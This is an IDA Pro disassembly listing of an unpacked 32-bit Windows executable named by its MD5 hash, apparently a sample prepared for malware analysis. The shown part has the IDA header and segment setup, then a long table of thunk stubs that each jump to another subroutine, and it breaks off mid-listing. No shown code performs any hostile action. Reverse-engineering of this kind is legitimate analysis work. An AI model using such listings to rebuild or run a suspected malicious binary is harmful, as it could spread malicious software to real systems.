;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CCCA11CF39038FEFF08BBC30163D4835

; File Name   :	u:\work\ccca11cf39038feff08bbc30163d4835_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00026000 ( 155648.)
; Section size in file		: 00026000 ( 155648.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 5 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401005	proc near		; CODE XREF: sub_4087B3+1F5Ap
					; sub_4087B3+20AAp
		jmp	sub_40539F
sub_401005	endp

; ---------------------------------------------------------------------------
		jmp	loc_403CBB

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_401896+20p
					; sub_4019A7+8p ...
		jmp	sub_4017E7
sub_40100F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401014	proc near		; CODE XREF: sub_402413+1EBp
					; .text:0040343Ap ...
		jmp	sub_4045C0
sub_401014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401019	proc near		; DATA XREF: sub_407BA3+4AAo
		jmp	sub_4049E0
sub_401019	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: sub_4087B3:loc_40C7A6p
		jmp	sub_4115A6
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: .text:00403F64p
		jmp	sub_403B34
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_4087B3+43E4p
		jmp	sub_40452A
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_4087B3:loc_40A059p
		jmp	sub_4109FE
sub_40102D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401032	proc near		; CODE XREF: sub_4085DD+3Dp
					; sub_4087B3+1CBp ...
		jmp	sub_40E485
sub_401032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4087B3+32ECp
		jmp	sub_40448A
sub_401037	endp

; ---------------------------------------------------------------------------
		jmp	loc_412437

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: sub_414190+290p
		jmp	sub_4140AD
sub_401041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401046	proc near		; CODE XREF: sub_41264E+49p
					; DATA XREF: .data:off_434AD8o
		jmp	sub_41220B
sub_401046	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40104B	proc near		; DATA XREF: sub_4087B3+28F5o
					; sub_4087B3+2D78o
		jmp	loc_404D4D
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_402120+1Fp
					; sub_402120+16Ap ...
		jmp	sub_402931
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; DATA XREF: .text:00411E19o
		jmp	loc_411EE7
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_4109FE+39p
		jmp	sub_410B6B
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_403661+F0p
					; sub_403661+20Fp ...
		jmp	sub_414C1C
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; CODE XREF: sub_413EFC+3Cp
		jmp	sub_413B9E
sub_401064	endp

; ---------------------------------------------------------------------------
		jmp	loc_4122E0
; ---------------------------------------------------------------------------
		jmp	loc_404AD5

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: sub_405779+17p
					; sub_405779+60p
		jmp	sub_405673
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_401A18+Ep
					; sub_401A18+33p ...
		jmp	sub_4016D1
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_410626+20p
					; sub_412976+1BBp ...
		jmp	sub_41086A
sub_40107D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401082	proc near		; CODE XREF: sub_405673+51p
					; sub_405673+87p
		jmp	sub_40545D
sub_401082	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401087	proc near		; CODE XREF: sub_40196F+14p
					; sub_401993+8p ...
		jmp	sub_40192E
sub_401087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: .text:00414CD9p
		jmp	sub_414D07
sub_40108C	endp

; ---------------------------------------------------------------------------
		jmp	loc_40FE9A

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401096	proc near		; CODE XREF: sub_401F4B+81p
					; sub_401F4B+ABp
		jmp	sub_401EF5
sub_401096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_40205B+48p
					; sub_402413+181p
		jmp	sub_401F4B
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4087B3+CFFp
		jmp	sub_414F49
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_4087B3+38ABp
					; sub_414E55+12p ...
		jmp	sub_414DA4
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_405673+17p
					; sub_414190+1F3p
		jmp	sub_405512
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; CODE XREF: sub_4087B3+42DEp
		jmp	sub_40474C
sub_4010AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B4	proc near		; CODE XREF: sub_402D46+42Ap
		jmp	sub_402B90
sub_4010B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_4152FA+45p
		jmp	sub_4153B5
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_4137C0+Ap
					; sub_4138CE+8p ...
		jmp	sub_413798
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: sub_4087B3:loc_409ED1p
		jmp	sub_41014B
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010C8	proc near		; DATA XREF: sub_4087B3+26B7o
		jmp	sub_4127D1
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40841B+D6p
		jmp	sub_411594
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: .text:0040342Ep
					; sub_4034D1+B2p ...
		jmp	sub_40E4DC
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D7	proc near		; CODE XREF: .text:00407A82p
					; sub_4085DD+E9p
		jmp	sub_40F9F7
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4087B3+406Ep
		jmp	sub_40F54D
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_4087B3+1749p
		jmp	sub_41049A
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E6	proc near		; CODE XREF: sub_4035CD+Bp
					; sub_403661+2Dp ...
		jmp	sub_414EF3
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4087B3+3FC5p
		jmp	sub_4035CD
sub_4010EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F0	proc near		; CODE XREF: sub_402413+13Ep
					; sub_402B2A+28p ...
		jmp	sub_40297C
sub_4010F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_4087B3+2B63p
					; sub_4087B3+35C1p
		jmp	sub_40FC36
sub_4010F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FA	proc near		; CODE XREF: sub_4019F2+Bp
					; sub_401A18+1A1p ...
		jmp	sub_401993
sub_4010FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_407BA3+5E4p
					; DATA XREF: sub_4087B3+2AE3o
		jmp	sub_40841B
sub_4010FF	endp

; ---------------------------------------------------------------------------
		jmp	loc_404688

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401109	proc near		; CODE XREF: .text:00405837p
					; sub_407BA3:loc_408256p ...
		jmp	sub_414E55
sub_401109	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_4085DD+12Ap
		jmp	sub_4087B3
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: sub_4087B3+492Dp
					; sub_415473+6Bp ...
		jmp	sub_4152FA
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: .text:00406AF9p
		jmp	sub_406EDE
sub_401118	endp

; ---------------------------------------------------------------------------
		jmp	loc_4114A3

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401122	proc near		; CODE XREF: .text:004051BFp
					; sub_4087B3+425Ep
		jmp	sub_40FF61
sub_401122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401127	proc near		; DATA XREF: sub_4087B3+46D7o
		jmp	loc_4128FE
sub_401127	endp

; ---------------------------------------------------------------------------
		jmp	loc_413FEF

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: sub_40FACF+25p
					; sub_40FB3F+6Bp
		jmp	sub_40FB1A
sub_401131	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401136	proc near		; CODE XREF: sub_4087B3+F33p
		jmp	sub_40FF37
sub_401136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: sub_4087B3+94Dp
					; sub_4087B3+97Bp ...
		jmp	sub_40F942
sub_40113B	endp

; ---------------------------------------------------------------------------
		jmp	loc_4016DD
; ---------------------------------------------------------------------------
		jmp	loc_407825
; ---------------------------------------------------------------------------


loc_40114A:				; DATA XREF: sub_4087B3+438Eo
		jmp	loc_4047DA

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_412976+245p
		jmp	sub_410714
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: sub_41014B+20p
		jmp	sub_4101F3
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_401896+5Ep
					; sub_401896+6Fp ...
		jmp	sub_4017C8
sub_401159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40115E	proc near		; CODE XREF: sub_40278A+39p
					; sub_40278A+45p
		jmp	sub_4029BE
sub_40115E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_41264E+5Cp
		jmp	sub_412583
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_4138EA

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_40841B+123p
		jmp	sub_4085DD
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: .text:0041293Ep
					; sub_41313F+8p
		jmp	sub_412976
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: .text:00413933p
		jmp	sub_4137C0
sub_401177	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40117C	proc near		; CODE XREF: sub_4087B3:loc_409FB8p
		jmp	sub_410626
sub_40117C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; DATA XREF: sub_406B82+246o
		jmp	loc_4069A0
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: sub_4138CE+Ep
					; sub_413993+4Ap
		jmp	sub_413972
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_406B82+17Cp
		jmp	sub_4077EC
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401190	proc near		; CODE XREF: sub_4019F2+16p
					; sub_401A18+91p ...
		jmp	sub_4019A7
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near		; DATA XREF: sub_407BA3+522o
					; sub_4087B3+1634o
		jmp	loc_40798E
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: .text:004033AAp
					; .text:004033CCp
		jmp	sub_402D46
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119F	proc near		; CODE XREF: sub_402413+167p
		jmp	sub_40205B
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: .text:004016F5p
					; sub_401A18+11Ep
		jmp	sub_401716
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_4087B3+1831p
		jmp	sub_410895
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_4034D1+74p
					; sub_4087B3+40D8p ...
		jmp	sub_413F6C
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; DATA XREF: sub_4087B3+355Bo
		jmp	loc_415046
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B8	proc near		; CODE XREF: .text:004040E1p
					; DATA XREF: .data:off_42AF2Co
		jmp	sub_402413
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_405512+12p
		jmp	sub_4054B8
sub_4011BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011C2	proc near		; CODE XREF: .text:00405A0Ap
					; .text:00407877p ...
		jmp	sub_411561
sub_4011C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011C7	proc near		; DATA XREF: sub_4087B3+27B3o
		jmp	loc_411CFD
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_4087B3+45FEp
		jmp	sub_4034D1
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; DATA XREF: .text:00412017o
		jmp	loc_412147
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; DATA XREF: sub_4127D1+7Bo
		jmp	sub_4126D1
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: .text:loc_412945p
		jmp	sub_412D63
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: sub_4087B3+2C91p
		jmp	sub_412280
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; DATA XREF: sub_4087B3+4490o
		jmp	loc_414CA1
sub_4011E5	endp

; ---------------------------------------------------------------------------
off_4011EA	dd offset byte_4630E9	; DATA XREF: sub_407BA3+14o
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EF	proc near		; CODE XREF: .text:00404E6Bp
		jmp	sub_40537B
sub_4011EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F4	proc near		; CODE XREF: sub_4087B3+34A5p
		jmp	sub_40FD2B
sub_4011F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_404A47+56p
		jmp	sub_4049FE
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; CODE XREF: sub_4087B3+18D2p
		jmp	sub_411055
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: .text:00406ADBp
		jmp	sub_407700
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_40288B+79p
		jmp	sub_402A3E
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40120D	proc near		; CODE XREF: .text:00403D68p
					; sub_413B9E+1C8p ...
		jmp	sub_41172A
sub_40120D	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_405512+66p
					; sub_405512+97p ...
		jmp	sub_4053BF
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40121C	proc near		; CODE XREF: .text:004046F1p
					; .text:004047ACp ...
		jmp	sub_40FB3F
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_401F4B+A1p
					; sub_401F4B+C2p ...
		jmp	sub_401E57
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: .text:00405AACp
					; .text:00405AD3p
		jmp	sub_405941
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_40FB3F+33p
		jmp	sub_40FACF
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; CODE XREF: sub_401A18+89p
					; sub_401A18+E3p ...
		jmp	sub_401896
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: .text:00413940p
		jmp	sub_413993
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: .text:004041E3p
		jmp	sub_403661
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123F	proc near		; CODE XREF: sub_402413+86p
		jmp	sub_401A18
sub_40123F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401244	proc near		; CODE XREF: sub_402120+2Dp
		jmp	sub_4020C1
sub_401244	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425084


loc_401249:				; CODE XREF: sub_425084+3j
					; .text:0042509Dj ...
		jmp	loc_4026A5
; END OF FUNCTION CHUNK	FOR sub_425084

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_4087B3+35E9p
					; sub_414DA4+53p
		jmp	sub_411C45
sub_40124E	endp

; ---------------------------------------------------------------------------
		jmp	loc_411CED

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_402120+17Cp
					; sub_4155CD+46p ...
		jmp	sub_40278A
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4087B3+4278p
		jmp	sub_414190
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401262	proc near		; CODE XREF: sub_40FF37+7p
					; sub_411876+5Fp ...
		jmp	sub_4117F1
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near		; CODE XREF: .text:00406075p
		jmp	sub_4062D3
sub_401267	endp

; ---------------------------------------------------------------------------
off_40126C	dd offset byte_48DFE9	; DATA XREF: sub_403661+226o
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: sub_4109FE+2Dp
		jmp	sub_410B94
sub_401271	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401276	proc near		; DATA XREF: sub_407BA3+437o
		jmp	sub_41313F
sub_401276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40127B	proc near		; CODE XREF: sub_4087B3+1912p
		jmp	sub_4113B6
sub_40127B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_4087B3+364Bp
					; .text:00411BA4p ...
		jmp	sub_411876
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: sub_4087B3+1680p
					; sub_414F49+1Dp
		jmp	sub_414E93
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_4087B3+3FAAp
		jmp	sub_414F19
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4123A5
; ---------------------------------------------------------------------------
		jmp	loc_403294

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_402413+4Ep
					; sub_402B90+8Bp ...
		jmp	sub_4116BB
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: sub_4152FA+59p
		jmp	sub_415473
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: .text:00404101p
					; .text:004043CCp ...
		jmp	sub_414FFA
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: .text:00403FB3p
					; .text:004059B7p
		jmp	sub_403BF7
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_41178A

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_40841B+F7p
					; sub_4087B3:loc_408D60p ...
		jmp	sub_404651
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: .text:00404F97p
		jmp	sub_404A47
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_4109FE+4Cp
		jmp	sub_410AFB
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; CODE XREF: sub_4087B3+4041p
		jmp	sub_40FCE2
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_401A18+134p
		jmp	sub_4019F2
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_402413+14Ap
		jmp	sub_40232A
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; CODE XREF: sub_417ED0+C9p
		jmp	sub_407BA3
sub_4012D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D5	proc near		; DATA XREF: .text:004042CFo
		jmp	loc_403EFB
sub_4012D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DA	proc near		; CODE XREF: .text:loc_403F6Cp
		jmp	sub_403ADA
sub_4012DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: .text:00406081p
		jmp	sub_40636F
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E4	proc near		; CODE XREF: sub_4029BE+15p
		jmp	sub_402B2A
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; DATA XREF: sub_4087B3+29E1o
		jmp	loc_413ADB
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_4145E8:loc_414AD3p
					; DATA XREF: sub_403661+107o ...
		jmp	sub_4145E8
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_407BA3+4Bp
		jmp	sub_40E59D
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; DATA XREF: sub_403661+333o
					; sub_4087B3+3F1Fo
		jmp	loc_40642F
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: sub_4049E0+4p
					; sub_407BA3+358p ...
		jmp	sub_404954
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: sub_4087B3+33C3p
					; sub_4087B3+42A6p
		jmp	sub_4144F1
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_402120+131p
		jmp	sub_40271E
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: sub_402120+110p
					; sub_402120+14Bp
		jmp	sub_4026AF
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_401A18+F0p
					; sub_401A18+15Bp ...
		jmp	sub_40196F
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; DATA XREF: sub_4087B3+41E6o
		jmp	loc_411B30
sub_401316	endp

; ---------------------------------------------------------------------------
		jmp	loc_405987

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_407BA3+212p
		jmp	sub_40FDCD
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401325	proc near		; CODE XREF: .text:004067EFp
		jmp	sub_406B82
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132A	proc near		; CODE XREF: .text:004138F7p
		jmp	sub_4138CE
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_410626+6Dp
					; sub_412D63+18Ap ...
		jmp	sub_410794
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: sub_40232A+24p
		jmp	sub_402120
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: .text:00413B17p
		jmp	sub_413EFC
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: .text:00405BB3p
		jmp	sub_411CB1
sub_40133E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401343	proc near		; CODE XREF: .text:00407A9Bp
					; sub_40841B+7Fp ...
		jmp	sub_41264E
sub_401343	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401348	proc near		; CODE XREF: sub_402120+3Dp
					; sub_4026AF+28p ...
		jmp	sub_40288B
sub_401348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; CODE XREF: sub_4087B3+408Bp
		jmp	sub_405779
sub_40134D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401352	proc near		; CODE XREF: sub_401896+18p
					; sub_40192E+16p ...
		jmp	sub_40175E
sub_401352	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401357	proc near		; DATA XREF: sub_407BA3+3CAo
		jmp	sub_411C89
